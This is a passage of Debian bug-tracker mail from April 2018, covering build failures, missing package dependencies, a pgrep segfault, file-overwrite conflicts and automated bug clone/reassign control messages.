6m5FLy/AncslP/bfuGMh/0VOunFLcQKw2vFoTQKX74I3B3AHzNBG7NsmvrwuSkZ0
W4Nryi+u1v+ded26HPCpOKeN3

Bug#894962: node-gulp: FTBFS and Debci failure with node-process-nextick-args 2.0.0-1

[Adrian Bunk]

Source: node-gulp
Version: 3.9.1-6
Severity: serious

https://ci.debian.net/packages/n/node-gulp/unstable/amd64/
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/node-gulp.html

...
  24 passing (123ms)
  5 pending
  2 failing

  1) gulp output stream
   dest()
 should return a output stream that writes streaming files:
 Uncaught TypeError: nextTick is not a function
  at Cloneable.onData (/usr/lib/nodejs/cloneable-readable/index.js:32:5)
  at Cloneable.Readable.on (_stream_readable.js:772:35)
  at Cloneable.Readable.pipe (_stream_readable.js:635:7)
  at writeStream 
(/usr/lib/nodejs/vinyl-fs/lib/dest/writeContents/writeStream.js:24:17)
  at writeContents 
(/usr/lib/nodejs/vinyl-fs/lib/dest/writeContents/index.js:16:12)
  at /usr/lib/nodejs/vinyl-fs/lib/dest/index.js:20:7
  at /usr/lib/nodejs/vinyl-fs/lib/prepareWrite.js:65:5
  at /usr/lib/nodejs/mkdirp/index.js:30:20
  at FSReqWrap.oncomplete (fs.js:135:15)

  2) gulp input stream
   src()
 should return a input stream with contents as stream when buffer is 
false:
 Uncaught TypeError: nextTick is not a function
  at Cloneable.onData (/usr/lib/nodejs/cloneable-readable/index.js:32:5)
  at Cloneable.Readable.on (_stream_readable.js:772:35)
  at DestroyableTransform. (test/src.js:97:23)
  at addChunk (_stream_readable.js:263:12)
  at readableAddChunk (_stream_readable.js:250:11)
  at DestroyableTransform.Readable.push (_stream_readable.js:208:10)
  at DestroyableTransform.Transform.push (_stream_transform.js:147:32)
  at DestroyableTransform.afterTransform (_stream_transform.js:88:10)
  at streamFile 
(/usr/lib/nodejs/vinyl-fs/lib/src/getContents/streamFile.js:23:3)
  at DestroyableTransform._transform 
(/usr/lib/nodejs/vinyl-fs/lib/src/getContents/index.js:27:12)
  at DestroyableTransform.Transform._read (_stream_transform.js:186:10)
  at DestroyableTransform.Transform._write (_stream_transform.js:174:12)
  at doWrite (_stream_writable.js:387:12)
  at writeOrBuffer (_stream_writable.js:373:5)
  at DestroyableTransform.Writable.write (_stream_writable.js:290:11)
  at DestroyableTransform.ondata (_stream_readable.js:639:20)
  at addChunk (_stream_readable.js:263:12)
  at readableAddChunk (_stream_readable.js:250:11)
  at DestroyableTransform.Readable.push (_stream_readable.js:208:10)
  at DestroyableTransform.Transform.push (_stream_transform.js:147:32)
  at DestroyableTransform.afterTransform (_stream_transform.js:88:10)
  at /usr/lib/nodejs/vinyl-fs/lib/src/wrapWithVinylFile.js:27:16
  at /usr/lib/nodejs/graceful-fs/polyfills.js:287:18
  at FSReqWrap.oncomplete (fs.js:153:5)



make[1]: *** [debian/rules:15: override_dh_auto_test] Error 2

Bug#894961: ldap-account-manager: missing dependencies on php-xml and php-zip

[Thorsten Glaser]

Package: ldap-account-manager
Version: 5.5-1+deb9u1
Severity: grave
Justification: renders package unusable

After installing ldap-account-manager, I get this message:

-cutting here may damage your screen surface-
Your PHP has no XML support!

Please install the XML extension for PHP.


ERROR   
Your PHP has no ZIP support.

Please install the ZIP extension for PHP.
-cutting here may damage your screen surface-

Installing these two missing packages (php-xml and php-zip)
and restarting apache2 fixes it, so this is clearly an issue
with missing Depends in the package in stable.

-- System Information:
Debian Release: 9.4
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.9.0-6-amd64 (SMP w/1 CPU core)
Locale: LANG=C, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE=C (charmap=UTF-8)
Shell: /bin/sh linked to /bin/lksh
Init: sysvinit (via /sbin/init)

Versions of packages ldap-account-manager depends on:
ii  apache2 [httpd] 2.4.25-3+deb9u4
ii  debconf [debconf-2.0]   1.5.61
ii  php 1:7.0+49
ii  php-gd  1:7.0+49
ii  php-imagick 3.4.3~rc2-2
ii  php-ldap1:7.0+49
ii  php7.0 [php]7.0.27-0+deb9u1
ii  php7.0-gd [php-gd]  7.0.27-0+deb9u1
ii  php7.0-json [php-json]  7.0.27-0+deb9u1
ii  php7.0-ldap [php-ldap]  7.0.27-0+deb9u1

Versions of packages ldap-account-manager recommends:
pn  php-apc  

Versions of packages ldap-account-manager suggests:
pn  ldap-account-manager-lamdaemon  
ii  perl5.24.1-3+deb9u2
pn  php5-mcrypt 
ii  slapd [ldap-server] 2.4.44+dfsg-5+deb9u1

-- debconf information:
  ldap-account-manager/config-webserver: apache2
  ldap-account-manager/alias: lam
  ldap-account-manager/restart-webserver: true

Bug#894909: making wireguard work on RHEL7/etc.

[Daniel Kahn Gillmor]

On Tue 2017-06-27 13:08:14 +0200, Jason A. Donenfeld wrote:
> compat.h is a dumpster fire already. Tons of people use the RHEL kernel.
> I think supporting it won't make an already gross cess pool any more
> disgusting. It's a file of hacks; I might as well add another.
>
> (I probably won't add hacks, though, for the heaps of random custom
> Android vendor kernels.)

sorry to dredge this thread back up from the archives...

https://bugs.debian.org/894909 shows someone trying to build wireguard
against the debian 8 ("jessie" aka "oldstable") 3.16 kernel saying that
they needed a similar patch to make the kernel module build.

I know that debian's kernel team does backport a lot of fixes to our
supported older kernels, similar to older releases of RedHat.

i'm asking over on #debian-kernel (on OFTC) to see whether there is some
similar to RHEL_MAJOR or CONFIG_SUSE_KERNEL or UTS_UBUNTU_RELEASE_ABI
that we can use for jessie.

--dkg

Processed: Quoting fixed in autopkgtest 5.2

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> clone 894923 -1 -2 -3 -4 -5
Bug #894923 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug 894923 cloned as bugs 894955-894959
> reassign -1 src:node-ws
Bug #894955 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-ws'.
Ignoring request to alter found versions of bug #894955 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894955 to the same values 
previously set
> reassign -2 src:node-yauzl
Bug #894956 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-yauzl'.
Ignoring request to alter found versions of bug #894956 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894956 to the same values 
previously set
> reassign -3 src:node-yazl
Bug #894957 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-yazl'.
Ignoring request to alter found versions of bug #894957 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894957 to the same values 
previously set
> reassign -4 src:node-ytdl-core
Bug #894958 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-ytdl-core'.
Ignoring request to alter found versions of bug #894958 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894958 to the same values 
previously set
> reassign -5 src:node-zipfile
Bug #894959 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-zipfile'.
Ignoring request to alter found versions of bug #894959 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894959 to the same values 
previously set
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
894923: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894923
894955: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894955
894956: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894956
894957: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894957
894958: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894958
894959: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894959
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: Quoting fixed in autopkgtest 5.2

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> clone 894923 -1 -2 -3 -4 -5 -6 -7 -8 -9 -10
Bug #894923 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug 894923 cloned as bugs 894945-894954
> reassign -1 src:node-multiparty
Bug #894945 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-multiparty'.
Ignoring request to alter found versions of bug #894945 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894945 to the same values 
previously set
> reassign -2 src:node-music-library-index
Bug #894946 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 
'src:node-music-library-index'.
Ignoring request to alter found versions of bug #894946 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894946 to the same values 
previously set
> reassign -3 src:node-nwmatcher
Bug #894947 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-nwmatcher'.
Ignoring request to alter found versions of bug #894947 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894947 to the same values 
previously set
> reassign -4 src:node-on-finished
Bug #894948 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-on-finished'.
Ignoring request to alter found versions of bug #894948 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894948 to the same values 
previously set
> reassign -5 src:node-parseurl
Bug #894949 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-parseurl'.
Ignoring request to alter found versions of bug #894949 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894949 to the same values 
previously set
> reassign -6 src:node-pend
Bug #894950 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-pend'.
Ignoring request to alter found versions of bug #894950 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894950 to the same values 
previously set
> reassign -7 src:node-pre-gyp
Bug #894951 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-pre-gyp'.
Ignoring request to alter found versions of bug #894951 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894951 to the same values 
previously set
> reassign -8 src:node-qs
Bug #894952 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-qs'.
Ignoring request to alter found versions of bug #894952 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894952 to the same values 
previously set
> reassign -9 src:node-srs
Bug #894953 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-srs'.
Ignoring request to alter found versions of bug #894953 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894953 to the same values 
previously set
> reassign -10 src:node-stylus
Bug #894954 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-stylus'.
Ignoring request to alter found versions of bug #894954 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894954 to the same values 
previously set
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
894923: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894923
894945: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894945
894946: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894946
894947: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894947
894948: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894948
894949: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894949
894950: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894950
894951: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894951
894952: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894952
894953: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894953
894954: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894954
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: Quoting fixed in autopkgtest 5.2

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> clone 894923 -1 -2 -3 -4 -5 -6 -7 -8 -9 -10
Bug #894923 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug 894923 cloned as bugs 894935-894944
> reassign -1 src:node-cookie-signature
Bug #894935 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 
'src:node-cookie-signature'.
Ignoring request to alter found versions of bug #894935 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894935 to the same values 
previously set
> reassign -2 src:node-depd
Bug #894936 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-depd'.
Ignoring request to alter found versions of bug #894936 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894936 to the same values 
previously set
> reassign -3 src:node-entities
Bug #894937 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-entities'.
Ignoring request to alter found versions of bug #894937 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894937 to the same values 
previously set
> reassign -4 src:node-fd-slicer
Bug #894938 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-fd-slicer'.
Ignoring request to alter found versions of bug #894938 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894938 to the same values 
previously set
> reassign -5 src:node-findit2
Bug #894939 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-findit2'.
Ignoring request to alter found versions of bug #894939 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894939 to the same values 
previously set
> reassign -6 src:node-groove
Bug #894940 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-groove'.
Ignoring request to alter found versions of bug #894940 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894940 to the same values 
previously set
> reassign -7 src:node-gyp
Bug #894941 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-gyp'.
Ignoring request to alter found versions of bug #894941 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894941 to the same values 
previously set
> reassign -8 src:node-leveldown
Bug #894942 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-leveldown'.
Ignoring request to alter found versions of bug #894942 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894942 to the same values 
previously set
> reassign -9 src:node-mapnik
Bug #894943 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-mapnik'.
Ignoring request to alter found versions of bug #894943 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894943 to the same values 
previously set
> reassign -10 src:node-media-typer
Bug #894944 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'src:node-media-typer'.
Ignoring request to alter found versions of bug #894944 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894944 to the same values 
previously set
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
894923: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894923
894935: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894935
894936: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894936
894937: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894937
894938: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894938
894939: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894939
894940: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894940
894941: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894941
894942: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894942
894943: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894943
894944: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894944
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#893755: python3.6: Dropped python3-distutils dependency makes hundreds of packages FTBFS

[Matthias Klose]

Control: severity -1 important

On 22.03.2018 01:42, Jeremy Bicha wrote:
> Source: python3.6
> Version: 3.6.5~rc1-2
> Severity: serious
> 
> This version of python3.6 dropped the dependency on python3-distutils.
> This causes hundreds of packages to fail to build from source.
> Therefore, let's delay its migration to Testing to give time for more
> packages to be fixed.

now downgrading. With the re-addition of distutils.version to the core packages,
this should be fixed.

Processed: Re: Bug#893755: python3.6: Dropped python3-distutils dependency makes hundreds of packages FTBFS

[Debian Bug Tracking System]

Processing control commands:

> severity -1 important
Bug #893755 [src:python3.6] python3.6: Dropped python3-distutils dependency 
makes hundreds of packages FTBFS
Severity set to 'important' from 'serious'

-- 
893755: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=893755
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: Quoting fixed in autopkgtest 5.2

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> clone 894923 -1 -2 -3 -4 -5 -6 -7 -8 -9 -10
Bug #894923 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug 894923 cloned as bugs 894924-894933
> reassign -1 node-abstract-leveldown
Bug #894924 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'node-abstract-leveldown'.
Ignoring request to alter found versions of bug #894924 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894924 to the same values 
previously set
> reassign -2 node-ansi
Bug #894925 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'node-ansi'.
Ignoring request to alter found versions of bug #894925 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894925 to the same values 
previously set
> reassign -3 node-archy
Bug #894926 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'node-archy'.
Ignoring request to alter found versions of bug #894926 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894926 to the same values 
previously set
> reassign -4 node-bl
Bug #894927 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'node-bl'.
Ignoring request to alter found versions of bug #894927 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894927 to the same values 
previously set
> reassign -5 node-body-parser
Bug #894928 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'node-body-parser'.
Ignoring request to alter found versions of bug #894928 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894928 to the same values 
previously set
> reassign -6 node-browserify-lite
Bug #894929 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'node-browserify-lite'.
Ignoring request to alter found versions of bug #894929 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894929 to the same values 
previously set
> reassign -7 node-clarinet
Bug #894930 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'node-clarinet'.
Ignoring request to alter found versions of bug #894930 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894930 to the same values 
previously set
> reassign -8 node-content-disposition
Bug #894931 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 
'node-content-disposition'.
Ignoring request to alter found versions of bug #894931 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894931 to the same values 
previously set
> reassign -9 node-cookie
Bug #894932 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'node-cookie'.
Ignoring request to alter found versions of bug #894932 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894932 to the same values 
previously set
> reassign -10 node-cookies
Bug #894933 [src:mapnik-reference] Quoting fixed in autopkgtest 5.2
Bug reassigned from package 'src:mapnik-reference' to 'node-cookies'.
Ignoring request to alter found versions of bug #894933 to the same values 
previously set
Ignoring request to alter fixed versions of bug #894933 to the same values 
previously set
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
894923: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894923
894924: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894924
894925: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894925
894926: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894926
894927: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894927
894928: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894928
894929: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894929
894930: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894930
894931: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894931
894932: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894932
894933: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894933
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#894923: Quoting fixed in autopkgtest 5.2

[Graham Inggs]

Source: mapnik-reference
Severity: serious
User: ubuntu-de...@lists.ubuntu.com
Usertags: origin-ubuntu bionic autopkgtest

Hi Maintainer

The quote escaping bug [1] was recently fixed in autopkgtest 5.2.
This means you can finally fix those crazy quotes, for example:

--- a/debian/tests/control
+++ b/debian/tests/control
@@ -1,3 +1,3 @@
-Test-Command: nodejs -e "require('"'"'zipfile'"'"');"
+Test-Command: nodejs -e "require('zipfile');"
 Depends: @

This also means that your autopkgtests will start failing soon and you 
may miss actual regressions.


Regards
Graham


[1] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=893035

Bug#894917: procps: pgrep -u UID segfaults

[Paul Gevers]

Source: procps
Version: 2:3.3.13-1
Severity: serious
Justification: breaks other packages use of pgrep
User: ci-t...@tracker.debian.org
Usertags: triggers
Control: affects -1 ganeti
Control: affects -1 gearmand

Dear Craig,

Triggered by the regressions in the autopkgtests of ganeti¹ and
gearmand² for the procps/2:3.3.13-1 trigger, I tried to investigate a
bit what those packages were doing.

I discovered that ganeti is using "pgrep -u UID" and processes the exit
code. However, when I run "pgrep -u 1" with the latest version of
procps it segfaults. The version in buster is fine.

paul@testavoira ~ $ pgrep -V
pgrep from procps-ng 3.3.12
paul@testavoira ~ $ pgrep -u 1 ; echo $?
1

(pbuild19122) testavoira cacti-1.1.37+ds1 # pgrep -V
pgrep from procps-ng 3.3.13
(pbuild19122) testavoira cacti-1.1.37+ds1 # pgrep -u 1 ; echo $?
Segmentation fault
139

Not sure what gearmand is doing, but it may be the same.

I used the severity serious to give you time to solve the issue before this
version migrates to buster.

Paul

¹ https://ci.debian.net/packages/g/ganeti/testing/amd64/
² https://ci.debian.net/packages/g/gearmand/testing/amd64/




signature.asc
Description: OpenPGP digital signature

Processed: procps: pgrep -u UID segfaults

[Debian Bug Tracking System]

Processing control commands:

> affects -1 ganeti
Bug #894917 [src:procps] procps: pgrep -u UID segfaults
Added indication that 894917 affects ganeti
> affects -1 gearmand
Bug #894917 [src:procps] procps: pgrep -u UID segfaults
Added indication that 894917 affects gearmand

-- 
894917: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894917
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#894912: marked as done (python3-django-memoize,python3-memoize: error when trying to install together)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 13:53:44 +
with message-id 
and subject line Bug#894912: fixed in python-memoize 1.0.2-2
has caused the Debian Bug report #894912,
regarding python3-django-memoize,python3-memoize: error when trying to install 
together
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
894912: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894912
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: python3-django-memoize,python3-memoize
Severity: serious
User: trei...@debian.org
Usertags: edos-file-overwrite
Control: found -1 1.0.2-1
Control: found -1 2.1.0+dfsg-1

Hi,

automatic installation tests of packages that share a file and at the
same time do not conflict by their package dependency relationships has
detected the following problem:

  Selecting previously unselected package python3-memoize.
  Preparing to unpack .../python3-memoize_1.0.2-1_all.deb ...
  Unpacking python3-memoize (1.0.2-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/python3-memoize_1.0.2-1_all.deb (--unpack):
   trying to overwrite '/usr/lib/python3/dist-packages/memoize/__init__.py', 
which is also in package python3-django-memoize 2.1.0+dfsg-1
  Errors were encountered while processing:
   /var/cache/apt/archives/python3-memoize_1.0.2-1_all.deb

This is a serious bug as it makes installation fail, and violates
sections 7.6.1 and 10.1 of the policy. An optimal solution would
consist in only one of the packages installing that file, and renaming
or removing the file in the other package. Depending on the
circumstances you might also consider Replace relations or file
diversions. If the conflicting situation cannot be resolved then, as a
last resort, the two packages have to declare a mutual
Conflict. Please take into account that Replaces, Conflicts and
diversions should only be used when packages provide different
implementations for the same functionality.

Here is a list of files that are known to be shared by both packages
(according to the Contents file for sid/amd64, which may be
slightly out of sync):

  usr/lib/python3/dist-packages/memoize/__init__.py

This bug is assigned to both packages. If you, the maintainers of
the two packages in question, have agreed on which of the packages will
resolve the problem please reassign the bug to that package. You may
also register in the BTS that the other package is affected by the bug.

Cheers,

Andreas

PS: for more information about the detection of file overwrite errors
of this kind see https://qa.debian.org/dose/file-overwrites.html


python3-django-memoize=2.1.0+dfsg-1_python3-memoize=1.0.2-1.log.gz
Description: application/gzip
--- End Message ---
--- Begin Message ---
Source: python-memoize
Source-Version: 1.0.2-2

We believe that the bug you reported is fixed in the latest version of
python-memoize, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 894...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Sebastien Delafond  (supplier of updated python-memoize 
package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Thu, 05 Apr 2018 15:28:44 +0200
Source: python-memoize
Binary: python3-memoize
Architecture: source all
Version: 1.0.2-2
Distribution: unstable
Urgency: medium
Maintainer: Sebastien Delafond 
Changed-By: Sebastien Delafond 
Description:
 python3-memoize - Simple Python cache and memoizing module (Python3)
Closes: 894912
Changes:
 python-memoize (1.0.2-2) unstable; urgency=medium
 .
   * Add Vcs-* fields
   * Conflict on python3-django-memoize (Closes: #894912)
Checksums-Sha1:
 a890a66f4b156d5c594787f08f5130482bc1debc 1583 python-memoize_1.0.2-2.dsc
 173477174bc304bb7a20563bce5220a17f7e632d 1988 
python-memoize_1.0.2-2.debian.tar.xz
 85b7d77d37e7b568fbb44ad3aae78209eed839a9 5790 
python-memoize_1.0.2-2_amd64.buildinfo
 3b854d494264f7baac4f0c122e9606103f0e8267 6724 python3-memoize_1.0.2-2_all.deb
Checksums-Sha256:
 f72f57eba65aadf39355ff10f72d65575e1191317ecfd23c31937b59983b510c 1583 
python-memoize_1.0.2-2.dsc
 0dac36171f894334c81d16062f1f64a546555f6b7d2b0b89717e27b042770ba8 1988 
python-memoize_1.0.2-2.debian.tar.xz

Bug#894623: marked as done (numexpr FTBFS with dh-python >= 3.20180313)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 13:51:35 +
with message-id 
and subject line Bug#894623: fixed in numexpr 2.6.4-2
has caused the Debian Bug report #894623,
regarding numexpr FTBFS with dh-python >= 3.20180313
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
894623: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894623
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: numexpr
Version: 2.6.4-1
Severity: serious

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/numexpr.html

...
make[1]: Entering directory '/build/1st/numexpr-2.6.4'
pyversions: missing X(S)-Python-Version in control file, fall back to 
debian/pyversions
py3versions: no X-Python3-Version in control file, using supported versions
set -e -x;\
for py in 2.7 3.6; do \
cd /build/1st/numexpr-2.6.4/.pybuild/pythonX.Y_$py/build;\
env PYTHONPATH=. python$py numexpr/tests/test_numexpr.py -v;\
cd /build/1st/numexpr-2.6.4/.pybuild/pythonX.Y-dbg_$py/build;\
env PYTHONPATH=. python$py-dbg numexpr/tests/test_numexpr.py -v;\
done
+ cd /build/1st/numexpr-2.6.4/.pybuild/pythonX.Y_2.7/build
/bin/sh: 3: cd: can't cd to 
/build/1st/numexpr-2.6.4/.pybuild/pythonX.Y_2.7/build
make[1]: *** [debian/rules:36: override_dh_auto_test] Error 2
--- End Message ---
--- Begin Message ---
Source: numexpr
Source-Version: 2.6.4-2

We believe that the bug you reported is fixed in the latest version of
numexpr, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 894...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Antonio Valentino  (supplier of updated numexpr 
package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


